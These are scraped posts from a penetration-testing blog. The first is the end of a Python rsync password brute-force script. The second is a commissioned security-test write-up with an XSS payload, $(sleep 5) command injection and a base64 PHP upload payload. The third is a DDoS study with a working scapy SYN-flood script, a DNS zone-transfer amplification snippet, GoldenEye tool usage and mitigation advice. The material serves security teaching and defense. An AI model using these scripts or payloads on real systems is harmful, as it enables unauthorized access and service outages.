struct.pack(\u0026#34;!%ss\u0026#34; % (len(cmd)+1), cmd.encode(\u0026#34;utf-8\u0026#34;)+\u0026#39;\\n\u0026#39;.encode(\u0026#34;utf-8\u0026#34;) ) payload2 = cmd.encode(\u0026#34;utf-8\u0026#34;)+\u0026#39;\\n\u0026#39;.encode(\u0026#34;utf-8\u0026#34;) pass_list = [] for i in USER_LIST: pass_list.append((i, i)) for j in PASS_LIST: pass_list.append((i, j)) for useri, pwdj in pass_list: try: user = useri.encode(\u0026#34;utf-8\u0026#34;) password = pwdj.encode(\u0026#34;utf-8\u0026#34;) # debug(\u0026#34;try: %s,%s\u0026#34; %(useri,pwdj)) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) port = int(port) s.connect((ip, port)) # step1 get version and init s.send(payload1) s.recv(1024) # data @RSYNCD: AUTHREQD 9moobOy1VMjNAU/D4PB35g # send cmd and generate the challenge code s.send(payload2) # send client query data = s.recv(1024) # data @RSYNCD: AUTHREQD 9moobOy1VMjNAU/D4PB35g challenge = data[18:-1] # get challenge code # encrypt and generate the payload3 md = hashlib.md5() md.update(password) md.update(challenge) auth_send_data = base64.encodestring(md.digest()) payload3 = \u0026#34;%s %s\\n\u0026#34; % (user.decode(), auth_send_data[:-3].decode()) payload3 = payload3.encode() s.send(payload3) data3 = s.recv(1024) # @RSYNCD: OK s.close() if \u0026#39;OK\u0026#39; in data3.decode(): state = 1 if password == \u0026#39;\u0026#39;: msg = \u0026#34;Module:\u0026#39;%s\u0026#39; User/Password:%s/\u0026lt;empty\u0026gt;\u0026#34; % (cmd, user) else: msg = \u0026#34;Module:\u0026#39;%s\u0026#39; User/Password:%s/%s\u0026#34; % (cmd, user, password) return state, msg else: continue # try next user-pwd pair except Exception as e: # print(\u0026#39;[-]rsync weakpass not found (brute failed)(%s)\u0026#39; % str(e)) s.close() break state = 0 msg = \u0026#39;[-]rsync weakpass not found (brute failed)\u0026#39; return state, msg def run(args): msg = \u0026#39;\u0026#39; state = 0 # param init try: ip = args.get(\u0026#39;ip\u0026#39;) port = args.get(\u0026#34;port\u0026#34;, \u0026#39;873\u0026#39;) except Exception as e: state = 0 msg = \u0026#39;[-]parse ip/port error(%s)\u0026#39; % str(e) result = {\u0026#39;ip\u0026#39;: ip, \u0026#39;port\u0026#39;: port, \u0026#39;state\u0026#39;: state, \u0026#39;msg\u0026#39;: msg} return result try: res = initialisation(ip, port) # (True, \u0026#39;@RSYNCD:\u0026#39;, \u0026#39; 31.0\u0026#39;, [\u0026#39;share\u0026#39;, \u0026#39;@RSYNCD:EXIT\u0026#39;]) if res[0]: if res[2] \u0026lt; \u0026#34;30.0\u0026#34;: # check version; login method for versions \u0026lt;30.0 is not supported state = 0 msg = \u0026#39;[-]version not support\u0026#39; result = {\u0026#39;ip\u0026#39;: ip, \u0026#39;port\u0026#39;: port, \u0026#39;state\u0026#39;: state, \u0026#39;msg\u0026#39;: msg} return result for i in range(len(res[3]) - 1): state, msg = ClientCommand(ip, port, res[3][i]) if \u0026#39;Module:\u0026#39; in msg: msg += msg else: msg = \u0026#34;[-]No Module Available\u0026#34; result = {\u0026#39;ip\u0026#39;: ip, \u0026#39;port\u0026#39;: port, \u0026#39;state\u0026#39;: state, \u0026#39;msg\u0026#39;: msg} return result else: state = 0 msg = \u0026#39;[-]version not support\u0026#39; result = {\u0026#39;ip\u0026#39;: ip, \u0026#39;port\u0026#39;: port, \u0026#39;state\u0026#39;: state, \u0026#39;msg\u0026#39;: msg} return result except Exception as e: state = 0 msg = \u0026#39;[-]vuln not found, error:(%s)\u0026#39; % str(e) result = {\u0026#39;ip\u0026#39;: ip, \u0026#39;port\u0026#39;: port, \u0026#39;state\u0026#39;: state, \u0026#39;msg\u0026#39;: msg} return result if __name__ == \u0026#39;__main__\u0026#39;: \u0026#39;\u0026#39;\u0026#39;Fill in the brute-force target information here \u0026#39;\u0026#39;\u0026#39; ip = \u0026#39;127.0.0.1\u0026#39; port = \u0026#39;873\u0026#39; args = {\u0026#39;ip\u0026#39;: ip, \u0026#39;port\u0026#39;: port} res = run(args) print(res) # {\u0026#39;ip\u0026#39;: \u0026#39;127.0.0.1\u0026#39;, \u0026#39;port\u0026#39;: \u0026#39;873\u0026#39;, \u0026#39;state\u0026#39;: 1, \u0026#39;msg\u0026#39;: \u0026#34;Module:\u0026#39;Config\u0026#39; User/Password:b\u0026#39;rsync\u0026#39;/b\u0026#39;123456\u0026#39;Module:\u0026#39;Config\u0026#39; User/Password:b\u0026#39;rsync\u0026#39;/b\u0026#39;123456\u0026#39;\u0026#34;} ","permalink":"https://www.unc.la/en/posts/penetration/65255f68fc623bf12e6ad4c024d8d755/","summary":"\u003cp\u003eI ran into rsync during a penetration test — it was password-protected. Brute-force scripts already existed (for example \u003ca href=\"https://github.com/Xyntax/POC-T/blob/9d538a217cb480dbd1f94f1fa6c8154a41b5b106/script/rsync-weakpass.py\"\u003ethis one\u003c/a\u003e written by cdxy in the POC-T framework), but that script was written in Python 2, so I decided to rewrite it in Python 3 — and along the way I ended up analyzing how rsync authenticates. Here is a brief write-up.\u003c/p\u003e\n\u003ch1 id=\"traffic-analysis\"\u003eTraffic Analysis\u003c/h1\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-powershell\" data-lang=\"powershell\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003etcpdump\u003c/span\u003e \u003cspan class=\"n\"\u003e-i\u003c/span\u003e \u003cspan class=\"n\"\u003eeth0\u003c/span\u003e  \u003cspan class=\"n\"\u003enet\u003c/span\u003e \u003cspan class=\"mf\"\u003e47\u003c/span\u003e\u003cspan class=\"p\"\u003e.*.*\u003c/span\u003e\u003cspan class=\"mf\"\u003e.142\u003c/span\u003e  \u003cspan class=\"n\"\u003e-w\u003c/span\u003e \u003cspan class=\"n\"\u003eaccess_denied\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"py\"\u003epcap\u003c/span\u003e  \u003cspan class=\"n\"\u003e-v\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"err\"\u003e↑\u003c/span\u003e             \u003cspan class=\"err\"\u003e↑\u003c/span\u003e                          \u003cspan class=\"err\"\u003e↑\u003c/span\u003e              \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"n\"\u003eNIC\u003c/span\u003e           \u003cspan class=\"n\"\u003eip\u003c/span\u003e                 \u003cspan class=\"n\"\u003epath\u003c/span\u003e \u003cspan class=\"n\"\u003eof\u003c/span\u003e \u003cspan class=\"n\"\u003ethe\u003c/span\u003e \u003cspan class=\"n\"\u003efile\u003c/span\u003e \u003cspan class=\"n\"\u003eto\u003c/span\u003e \u003cspan class=\"nb\"\u003ewrite\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eCapturing packets with the command above and analyzing the traffic when connecting to rsync, after the server normally returns the rsync version information there are only a few possibilities: empty data, IP access restriction, unauthenticated download, or password-required access. Let\u0026rsquo;s analyze each one.\u003c/p\u003e","title":"Rsync Authentication Analysis Notes (with Brute-Force Script)"},{"content":"This article was contributed to the Alibaba Cloud Xianzhi Community. Original content; please cite the source when reposting.\nForeword On an utterly unremarkable weekend, a buddy of mine messaged me saying he had a product security test on his hands that he couldn\u0026rsquo;t handle and asked me to help out. I wasn\u0026rsquo;t keen at first—but Haidilao hotpot is just too good, and so began this commissioned product security test.\nProduct security testing means using limited resources (time/energy), through security testing and code audit among other means, to uncover as many vulnerabilities as possible, and to leverage these individual findings to drive the developers to fix the product\u0026rsquo;s security issues.\nAt the implementation level, at least as far as my own work goes, a complete product security test includes at least the following seven steps:\nComponent vulnerability triage\nFull port scan\nWEB directory brute-forcing\nContent testing (focusing on the high- and medium-severity items in the OWASP Top 10, combined with various other security risks)\nCompiling the security test report\nDiscussing remediation plans with the developers\nRetesting the vulnerabilities\nSince steps 5, 6, and 7 may be inconvenient to share, I will only cover steps 1 through 4—consider it a consolidation of what I\u0026rsquo;ve learned, and I hope the masters out there won\u0026rsquo;t hesitate to offer their guidance.\nAlso: all vulnerability information in this article has been heavily sanitized. Please comply with your local laws and regulations.\nI. Component Vulnerability Triage Before testing, the developers had already sent over [the components used by the product]. Our job was to determine whether these components have any publicly disclosed vulnerabilities.\nIn this part of the work, a few platforms get used frequently, so I\u0026rsquo;ll introduce them to you all.\n**snyk.io ** https://snyk.io/vuln/search?type=any\u0026amp;q=fastjson **CVE Details ** https://www.cvedetails.com/google-search-results.php?q=thinkphp seebug https://www.seebug.org/search/?keywords=thinkphp And of course, search engine dorks deserve a mention, for example: site:www.cnvd.org.cn thinkphp Generally speaking, this phase is driven mainly by personal experience. But since the developers won\u0026rsquo;t necessarily give you the complete list of components and versions in one go, you often have to wait until later in the test—say, after getting a shell—to fully map out the component landscape. Alright, let\u0026rsquo;s begin.\nThe components in this test were as follows:\nThinkPHP 3 TP 3: but they didn\u0026rsquo;t specify which minor version. tp\u0026lt;=3.2.3 is affected by an injection vulnerability. You can usually determine the version from routing error messages, or, if you have the source code, by looking directly at the configuration file (a global search for THINK_VERSION works).\nPHP 5.4 PHP 5.4: not a high version. As far as I know, the %00 truncation issue is already fixed (patched in PHP 5.3.24). Any other issues? Nothing comes to mind for now—no rush, let\u0026rsquo;s keep moving forward.\nII. Full Port Scan A WEB product is of course deployed on some host environment, so host-level vulnerabilities also need attention; otherwise it can easily get ripped open by hackers once it goes live.\nFor a full port scan, you\u0026rsquo;d normally just fire off nmap -p- from the command line and charge ahead.\nThis time, however, I\u0026rsquo;d also like to introduce a full-port scanning technique that uses an environment variable: first quickly scan all ports, then run a targeted vulnerability scan against the open ports. The commands are as follows:\nports=$(nmap -p- --min-rate=1000 -T4 10.13.38.11 | grep ^[0-9] | cut -d \u0026#39;/\u0026#39; -f 1 | tr \u0026#39;\\n\u0026#39; \u0026#39;,\u0026#39; | sed s/,$//) nmap -p$ports -sC -sV 10.13.38.11 Scan results: omitted\nIII. WEB Directory Brute-Forcing The reason for brute-forcing web directories is really the same as in penetration testing: developers often leave behind unauthenticated APIs or backup files. The sooner you find them before an attacker does, the lower the product\u0026rsquo;s risk. For example, the unauthorized access to Spring Boot\u0026rsquo;s Actuator is caused by unauthenticated access to the /actuator/env endpoint.\nAs for tooling, the directory brute-forcing tools I chose were dirsearch + Dirbuster . Both support saving scan results, but here\u0026rsquo;s my take on them:\ndirsearch: focuses on quickly identifying important paths to pinpoint issues, such as unauthenticated actuators, backup files, API endpoints, common admin panels, etc.; Dirbuster: focuses on comprehensive path brute-forcing. Using the medium dictionary at the 400k-word level, it can brute-force quite a lot of folders—the results are pretty decent. Scan results: omitted\nIV. WEB Security Content Testing After some intense testing, half an afternoon yielded nearly ten vulnerabilities, spanning all sorts of areas. Let\u0026rsquo;s walk through them together.\n0x01 Server-Side Password Auto-Fill Since this was a product security test, the developers naturally had to give me an account and password. But right after logging in successfully, I suddenly sensed something was off.\nI visited the admin panel from another machine and saw the login form boldly pre-filled with the password—turns out that after the previous successful login, the server had written the account and password straight into the front-end page. Well played!\nLet\u0026rsquo;s straighten out the logic: since the password wasn\u0026rsquo;t auto-filled by the browser, it must have come from the server side (it took the account and password from the last successful login and filled them in as default values in the input fields—perhaps for convenience). A textbook logic flaw. On top of that, there was no CAPTCHA here and no anti-replay token, so the account and password were at risk of brute-forcing. Three minutes, two bugs—solid little low-severity finds!\nWow, a whole day of testing just to find a plaintext password bug—well played!\n0x02 XSS Inside the admin panel, on the attribute editing page, I habitually inserted \u0026lt;\u0026quot;\u0026gt; to check whether the back end HTML-entity-escaped the page\u0026rsquo;s output—and found that angle brackets were not escaped. In the left part of the screenshot below, you can see that \u0026lt; has already \u0026ldquo;merged\u0026rdquo; with the HTML code,\nSo we can use the right angle bracket \u0026gt; to close the \u0026lt;span tag. Let\u0026rsquo;s fill in an alert-box payload, \u0026lt;\u0026quot;\u0026gt;\u0026lt;script\u0026gt;alert(/xss/)\u0026lt;/script\u0026gt;, refresh—and the box pops—no problem there, stored XSS in hand.\nWith stored XSS in hand, reflected XSS certainly wouldn\u0026rsquo;t be missing. After a brief search, I found another endpoint with a GET-type reflected XSS. The main reason is that the response\u0026rsquo;s content type is Content-Type: text/html, i.e., the browser renders the page content as HTML; additionally, the endpoint\u0026rsquo;s characteristic is that the input parameters are reflected in the response. Combine the two and you have reflected XSS.\nWhat worker would be content to stop at XSS? Let\u0026rsquo;s keep looking for something a bit more serious.\n0x03 Command Injection Complex command, simple injection.\nI looked at the admin panel\u0026rsquo;s feature points; they lean toward ops tools for network administrators—for example, performing login scans against Linux servers. Of course, the prerequisite is that we must supply the SSH account and password.\nThe more advanced the operation, the closer it gets to the underlying layer—and the closer to the underlying layer, the more dangerous it is.\nA bold guess: to accomplish the SSH login, the back-end implementation probably invokes sshpass, so there might be an OS command injection issue. Let\u0026rsquo;s try?\n# Use sshpass to remotely connect to a host directly sshpass -p password ssh root@127.0.0.1 I tried everything from \u0026amp;\u0026amp;, ||, \u0026gt;, \u0026lt; all the way to backticks```, and they all errored out directly—well, so everything\u0026rsquo;s filtered, huh. Yet the turning point often arrives when you\u0026rsquo;re at your dirtiest: the developers forgot to filter $ and parentheses (). One shot of $(sleep 5), it slept for five seconds and woke back up—shell secured.\nFirst thing after getting a shell: grab authorization, code audit.\n0x04 SQL Injection? This system, like the article where I audited OneThink, is built on the TP3 framework. At first I wanted to see whether the same front-end login bypass existed.\nFront-end login bypass: inject at the USERNAME field, use a UNION SELECT joint query to control the password value returned by the database so that it matches the PASSWORD value, thereby achieving a bypass of the front-end login.\nConclusion first: since the system\u0026rsquo;s username parameter is not injectable—meaning the password value returned by the database cannot be controlled—even knowing the password\u0026rsquo;s encryption scheme would not yield a front-end login bypass. Which also means the back end doesn\u0026rsquo;t have one either. The back end has quite a few places using the $where variable, all concatenating user input; simply close it with a single quote to achieve injection, and one sweep of SQLMAP drives straight to the heart of it. Then again—why bother with back-end SQL injection when you\u0026rsquo;ve already got command execution?\n0x05 Front-End SSRF While auditing the code along the way, I also found several standalone PHP files lacking authentication. The first things found were two SSRFs.\nHTTPS-Only SSRF During registration, I noticed an IP-address field in the request data. Tracing it into the source code, it turns out the back end makes a curl request to it.\nHowever, since the CURLOPT_FOLLOWLOCATION attribute is not enabled, 302 redirects can\u0026rsquo;t be used, and only https requests are possible.\nJack-of-All-Trades SSRF There was another SSRF that supports 302: following the go function, it\u0026rsquo;s a CURL wrapper with CURLOPT_FOLLOWLOCATION enabled, so we can use a 302 redirect to the gopher protocol to hit the intranet. Of course: this is only a proof, no demo.\n0x06 Front-End Arbitrary File Upload Actually, at the case 123 branch in that previous screenshot, there is an arbitrary file upload—it\u0026rsquo;s just that the files get uploaded to the intranet, so it has no practical use.\nLater, I noticed a file-upload-related component in use. In xxxxxx/uploadfile/app.php, the following code exists\n//app.php \u0026lt;?php $DIR = \u0026#39;base\u0026#39;; $src = file_get_contents(\u0026#39;php://input\u0026#39;); if (preg_match(\u0026#34;#^data:image/(\\w+);base64,(.*)$#\u0026#34;, $src, $matches)) { $appUrl = sprintf( \u0026#34;%s://%s%s\u0026#34;, isset($_SERVER[\u0026#39;HTTPS\u0026#39;]) \u0026amp;\u0026amp; $_SERVER[\u0026#39;HTTPS\u0026#39;] != \u0026#39;off\u0026#39; ? \u0026#39;https\u0026#39; : \u0026#39;http\u0026#39;, $_SERVER[\u0026#39;HTTP_HOST\u0026#39;], $_SERVER[\u0026#39;REQUEST_URI\u0026#39;] ); $appUrl = str_replace(\u0026#34;app.php\u0026#34;, \u0026#34;\u0026#34;, $appUrl); $base64 = $matches[2]; $type = $matches[1]; if ($type === \u0026#39;jpeg\u0026#39;) { $type = \u0026#39;jpg\u0026#39;; } $filename = md5($base64).\u0026#34;.$type\u0026#34;; $filePath = $DIR.DIRECTORY_SEPARATOR.$filename; if (file_exists($filePath)) { die(\u0026#39;{\u0026#34;result\u0026#34; : \u0026#34;$appUrl\u0026#34;.\u0026#39;base/\u0026#39;.\u0026#34;$filename\u0026#34;\u0026#39;); } else { $data = base64_decode($base64); file_put_contents($filePath, $data); die(\u0026#39;{\u0026#34;result\u0026#34; : \u0026#34;$appUrl\u0026#34;.\u0026#39;base/\u0026#39;.\u0026#34;$filename\u0026#34;\u0026#39;); } This is truly a textbook-grade upload vulnerability—it teaches you regex and gets you familiar with pseudo-protocols at the same time. I had even prepared an HTML upload form, but it turns out even that step was unnecessary.\nThe whole file\u0026rsquo;s logic is: via regex, extract the XXXXX\nand YYYYYYY values from a string of the form data:image/XXXXX;base64,YYYYYYY, and use them as the file extension and file content respectively.\nSo the exploitation path is obvious: base64-encode the upload content directly, put the data into POST_DATA, and achieve a lossless PHP file upload. Moreover, since the file content lacks the signatures of a PHP script, the upload bypasses the WAF along the way—absolute mastery\ndata:image/php;base64,dXBsb2FkIHRlc3Q8P3BocCBwaHBpbmZvKCk7ID8+ Front-end upload, one shot to the soul, straight to liftoff.\nIn reality, XSS, SQLi, and SSRF are all just means, not ends—if a front-end RCE issue existed, why not bring it up?\n0x07 Front-End Command Execution After some intricate variable tracing, I finally discovered that an endpoint for fetching the network-management machine\u0026rsquo;s version had unauthenticated command execution—you could call it instant liftoff.\nSummary The music fades, the Haidilao is finished, and life goes on: I\u0026rsquo;ve recently been reading Alibaba\u0026rsquo;s Java Development Manual. The author mentions SQL injection right in the first chapter—a testament to deep expertise.\nIn truth, whether development or security, neither can work behind closed doors. Developers need to understand security, and security folks should learn some development too. After all, here I am, still grinding away, because I don\u0026rsquo;t understand development.\n","permalink":"https://www.unc.la/en/posts/penetration/fuxqaa/","summary":"\u003cp\u003eThis article was contributed to the Alibaba Cloud \u003ca href=\"https://xz.aliyun.com/\"\u003eXianzhi Community\u003c/a\u003e. Original content; please cite the source when reposting.\u003c/p\u003e\n\u003ch1 id=\"foreword\"\u003eForeword\u003c/h1\u003e\n\u003cp\u003eOn an utterly unremarkable weekend, a buddy of mine messaged me saying he had a product security test on his hands that he couldn\u0026rsquo;t handle and asked me to help out. I wasn\u0026rsquo;t keen at first—but Haidilao hotpot is just too good, and so began this commissioned product security test.\u003c/p\u003e\n\u003cp\u003eProduct security testing means using limited resources (time/energy), through security testing and code audit among other means, to uncover as many vulnerabilities as possible, and to leverage these individual findings to drive the developers to fix the product\u0026rsquo;s security issues.\u003c/p\u003e","title":"[Guest Post] A Commissioned Product Security Test"},{"content":"For this quarter\u0026rsquo;s \u0026ldquo;dedicated learning session\u0026rdquo;, I picked a well-worn topic: DDoS. I hope it brings you some inspiration.\nFor those readers who are prone to tl;dr, here are the conclusions up front:\nDefending against DDoS attacks is a systems engineering effort — no single method is absolutely effective, hence No silver bullet. In short, effort must be invested across system architecture, infrastructure traffic, business logic, disaster recovery plans, and other areas to defend against DDoS. See the What to Do When You Encounter DoS section of this post Attack trends Common DDoS: large-packet SYN floods (core principle: resource exhaustion), TCP/UDP reflection (core principle: source IP spoofing) Gaming remains the industry most heavily targeted by DDoS attacks, accounting for 39% of the overall distribution; in addition, live streaming, e-commerce, and other industries have become new targets of DDoS attacks For properly registered legitimate businesses, if the DDoS traffic exceeds 100G, you can file a police report. See the 4 Counterattack and Tracing section of this post I. What Is DDoS DDoS (Distributed Denial of Service), also known as a distributed denial-of-service attack. By controlling a botnet made up of numerous compromised machines (\u0026ldquo;chickens\u0026rdquo;) or servers, hackers send a large number of seemingly legitimate requests at the target, thereby consuming massive network resources, paralyzing the network, and preventing users from accessing network resources normally.\nThe emergence of reflection-based DDoS attacks in particular provided the DDoS attack industry with a \u0026ldquo;nuclear weapon\u0026rdquo;, amplifying attack traffic by nearly ten-thousand-fold, up to fifty-thousand-fold at most — a testament to its destructive power.\nSource: Verizon.\nIn the data collected by Verizon\u0026rsquo;s \u0026ldquo;2018 Data Breach Investigations Report\u0026rdquo;, DDoS was the number one most common security incident vector.\n0x01 Why DDoS Exists Ideological conflict\nCyber warfare\nExtortion\nBusiness disputes\n(1) Competitors at Each Other\u0026rsquo;s Throats Quoting the analysis report from the analytics outfit TOMsInsight (click here to go directly)\n(2) A Vicious Cycle 0x02 Types of DoS Protocol Attacks SYN Flood\nApplication-Layer Attacks SMTP, HTTP, DNS, or HTTPS\nVolumetric Attacks Internet Control Message Protocol (ICMP) and User Datagram Protocol (UDP)\nOrdinary people have little to fear, but large companies are the primary targets. Downtime caused by DDoS attacks can cost them millions or billions of dollars. Small business owners can also suffer significant losses.\nII. DoS Attack Simulations The following content is a reproduction of the article DDoS Attack Simulation Reproduction - Xianzhi Community.\n0x01 SYN Flood The principle of a SYN flood attack is to block the third ACK packet of the TCP three-way handshake — that is, to not respond to the SYN+ACK packet sent by the server. Because the server never receives the acknowledgment from the client, it keeps the connection open until timeout. When a large number of such half-open connections are established, the result is a SYN flood attack.\n(1) Attack Testing Below is a demo script for a multi-threaded SYN flood\n# 01_sys_flood.py # coding:utf-8 from scapy.all import * from time import sleep import _thread import random def syn_flood(ip, port): while True: rand = random.randint(0, 65535) send(IP(dst=ip)/TCP(dport=port, sport=rand), verbose=0) def main(): if len(sys.argv) != 4: print(\u0026#34;参数错误, 用法如下\u0026#34;) print(\u0026#34;python syn_flood.py [IP] [Port] [Thread]\u0026#34;) sys.exit() ip = sys.argv[1] port = int(sys.argv[2]) thread_count = int(sys.argv[3]) print(\u0026#34;[!]SYN Flood start!\u0026#34;) for i in range(thread_count): _thread.start_new_thread(syn_flood, (ip, port)) while 1: sleep(1) What Wireshark captured\nYou can see the server has established a large number of half-open connections\nAnd the website becomes unreachable\u0026hellip;\u0026hellip;\n(2) Settings to Mitigate SYN Flood Attacks tcp_syncookies\nWhen server resources are insufficient, try not to reject TCP SYN requests; instead, try to buffer the SYN requests and handle these TCP connection requests later when capacity allows. If the concurrency is truly extremely high, enabling this is of little use. In testing: after configuring **tcp_syncookies=1**, it could still hold up against 50 threads (meaning port 80 remained accessible); once I cranked it up to 1000 threads, it fell over just the same.\ntcp_synack_retries \u0026amp; tcp_syn_retries\nThe default value of both is 5. After lowering them to 3, the machine actually withstood a 5-thread SYN flood!\nnet.ipv4.tcp_synack_retries = 3 net.ipv4.tcp_syn_retries = 3 (3) Conclusion All in all, under Ubuntu\u0026rsquo;s default configuration, it cannot even withstand 5 threads.\nBut with the configuration below, it easily shrugs off 1000 threads.\n# Increase the SYN queue length to 10240: sysctl -w net.ipv4.tcp_max_syn_backlog=10240 # Enable SYN COOKIE: sysctl -w net.ipv4.tcp_syncookies=1 # Reduce the number of retries: sysctl -w net.ipv4.tcp_synack_retries=3 sysctl -w net.ipv4.tcp_syn_retries=3 Admittedly, this measurement method is rather crude, but it is not hard to see the effectiveness of this mitigation approach.\nReferences:\nhttps://huangwang.github.io/2019/10/30/Linux%E9%98%B2SYN-Flood%E6%94%BB%E5%87%BB%E7%9A%84%E6%96%B9%E6%B3%95/ (4) Other TCP Attacks Malformed TCP packets are judged as malformed by exploiting the rules of TCP\u0026rsquo;s own \u0026ldquo;flag bits\u0026rdquo; (FLAG), such as all six flag bits being 1 or all being 0.\n0x02 DNS Amplification Attack The principle of a DNS amplification attack:\nForge a DNS packet and send a domain-name query to a DNS server, and the response packet returned by the DNS server will be sent to the attacked host.\nThe amplification comes from requesting a DNS response of type ANY: the packet the attacker sends to the server is 69 bytes long, while the ANY-type DNS packet the server returns to the attacked host is 535 bytes long — roughly a 7x amplification.————————————————\nNormal DNS query: source IP address \u0026mdash;\u0026ndash;DNS query\u0026mdash;-\u0026gt; DNS server \u0026mdash;\u0026ndash;DNS reply packet\u0026mdash;-\u0026gt; source IP address\nAttack DNS query: spoofed IP address \u0026mdash;\u0026ndash;DNS query\u0026mdash;-\u0026gt; DNS server \u0026mdash;\u0026ndash;DNS reply packet\u0026mdash;-\u0026gt; spoofed IP address (attack target)\nFirst, let\u0026rsquo;s capture the traffic of a normal DNS query\nNote: the request size is: 106,\nand the response size is: 543;\nThe ratio between the two is a full five-fold! So suppose I\u0026rsquo;m an attacker who wants to mount a DoS and my local bandwidth is only 10 Mbps — by spoofing the source IP and continuously querying the DNS server, I can amplify my \u0026ldquo;attack bandwidth\u0026rdquo; to 50 Mbps. Truly a case of \u0026ldquo;killing with a borrowed knife\u0026rdquo; and \u0026ldquo;using four ounces to move a thousand pounds\u0026rdquo;.\nA Conjecture If there were a zone transfer vulnerability, wouldn\u0026rsquo;t more subdomains mean more returned data — thousands or tens of thousands of times the traffic for DoS. Wouldn\u0026rsquo;t that be delightful.\nSo I dug through rfc1035; simply specify qtype=252\nfrom scapy.all import * i=IP(dst=\u0026#39;[DNS_Server]\u0026#39;) u =UDP() q =DNSQR(qname=\u0026#34;[Vuln_Domain]\u0026#34;, qtype=252) d = DNS(rd=1, qdcount=1, qd=q) r = (i/u/d) sr1(r) 0x03 HTTP Attacks Slow Headers\nNever send the \\r\\n that terminates the headers, keeping the server\u0026rsquo;s connection open. Slow HTTP\nSpecify a very large Content-Length and send the body very slowly. For a concrete implementation, refer to chunked encoding https://datatracker.ietf.org/doc/html/rfc2616.html#page-25\nhttps://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Transfer-Encoding\nChunked encoding is mainly used in scenarios where a large amount of data must be transmitted, but the length of the response cannot be known before the request has been fully processed. For example, when a large HTML table needs to be generated from data queried out of a database, or when a large number of images must be transferred.\nThe data is sent as a series of chunks. The Content-Length header is not sent in this case. At the beginning of each chunk, the length of the current chunk must be added, expressed in hexadecimal, followed immediately by \u0026lsquo;\\r\\n\u0026rsquo;, then the chunk itself, followed again by \u0026lsquo;\\r\\n\u0026rsquo;. The terminating chunk is a regular chunk whose distinguishing feature is that its length is 0. The terminating chunk is followed by a trailer, consisting of a (possibly empty) series of entity message headers.\nA chunked response looks like this:\nTransfer-Encoding: chunked HTTP/1.1 200 OK Content-Type: text/plain Transfer-Encoding: chunked 7\\r\\n Mozilla\\r\\n 9\\r\\n Developer\\r\\n 7\\r\\n Network\\r\\n 0\\r\\n \\r\\n 0x04 Script-Kiddie Tool: GoldenEye https://github.com/jseidl/GoldenEye\nUSAGE: ./goldeneye.py \u0026lt;url\u0026gt; [OPTIONS] OPTIONS: Flag Description Default -u, --useragents File with user-agents to use (default: randomly generated) -w, --workers Number of concurrent workers (default: 50) -s, --sockets Number of concurrent sockets (default: 30) -m, --method HTTP Method to use \u0026#39;get\u0026#39; or \u0026#39;post\u0026#39; or \u0026#39;random\u0026#39; (default: get) -d, --debug Enable Debug Mode [more verbose output] (default: False) -n, --nosslcheck Do not verify SSL Certificate (default: True) -h, --help Shows this help Screenshot of it running\nThe website on port 80 simply cannot be opened\nIn Wireshark, packets shown in black with red text are TCP error packets or packets with bad checksums..\nIII. What to Do When You Encounter DoS (0) At Design Time Introduce a port-knocking mechanism; see SPA in zero-trust SDP, port knocking, See: https://zhuanlan.zhihu.com/p/163799770 Consider procuring sufficient bandwidth, or at minimum identify fallback options An emergency response plan for DoS, primarily the division of personnel and responsibilities Tiered strategy For a platform, some services being hit by DDoS renders the entire site unavailable — e.g., if DNS goes down, it is equivalent to all services being down For applications with a strong account system such as e-commerce or gaming, if SSO login goes down, all services are down. An attacker only needs to take down these services to \u0026ldquo;catch the ringleader first\u0026rdquo;. So from a security standpoint, you also need to consider applying different tiers of protection strategy to different assets. Per BCM (business continuity management) requirements, first classify and grade the assets, delineate different availability SLA requirements, and then implement different levels of protection according to the different SLAs. In terms of concrete protection strategy, services or functions that could cause a platform-level SPOF (single point of failure) should receive higher-cost defensive measures — \u0026ldquo;higher cost\u0026rdquo; means not only purchasing more ADS appliances, but potentially also building multiple disaster-recovery nodes, and they should also rank higher in monitoring and response priority. A matching set of DRP \u0026amp; BCP policies, along with real, periodic drills, so that you can respond calmly when facing extremely high-volume attacks. Business Continuity Planning (BCP); refer to BSI Case Study: Lenovo Group, China (PDF) (1) Analyze Traffic Characteristics and Filter Selectively A DDoS attack is by nature an attack that can only be mitigated, never fully defended against. Unlike a vulnerability, where applying a patch settles the matter for good, with DDoS — even after purchasing and deploying the most competitive defense solutions currently on the market — there is absolutely no talk of a complete cure.\nIn [0x04 Script-Kiddie Tool: GoldenEye], we can analyze the characteristics of its traffic from the following angles:\nRequest headers Referer UA Request body Parameter character set Parameter length So in 2014, after the tool\u0026rsquo;s author discovered these patterns being used to fingerprint it, he adjusted the generation rules; see https://wroot.org/posts/goldeneye-2-1-released-with-even-more-randomness/\nBelow is the rule-editing interface of NSFOCUS\u0026rsquo;s ADS appliance, where the payload is customizable\nIf a security team is reasonably capable, they can run a PoC exploit, capture packets to identify the characteristics of the attack payload, and write hexadecimal matching rules — a simple way to achieve manual customization.\n(2) BlackHole (Blackholing) Many attacks last only a very short time, usually under 5 minutes, appearing as spike-shaped pulses on a traffic graph.\nThe reason this kind of attack is popular is that the \u0026ldquo;attack-attack-pause-pause\u0026rdquo; pattern works best: the moment the defense threshold is triggered and the defense mechanism starts to take effect, the attack stops — and the cycle repeats.\nIt\u0026rsquo;s like a mosquito that doesn\u0026rsquo;t bite you but buzzes around your ears: the moment you turn on the light to swat it, it vanishes; as soon as you turn the light off, it comes back — and you can\u0026rsquo;t sleep.\nCurrently, China Telecom\u0026rsquo;s Cloud Shield, dedicated to anti-DDoS, offers [near-source scrubbing] and [traffic suppression] services. For vendors that purchase its services, the IPs to be blackhole-routed can be customized and linked with Telecom\u0026rsquo;s equipment. Blackhole routing is a crude, brute-force method: along with the attack traffic, access from some legitimate users also gets blackholed, which degrades the user experience. In essence it is a 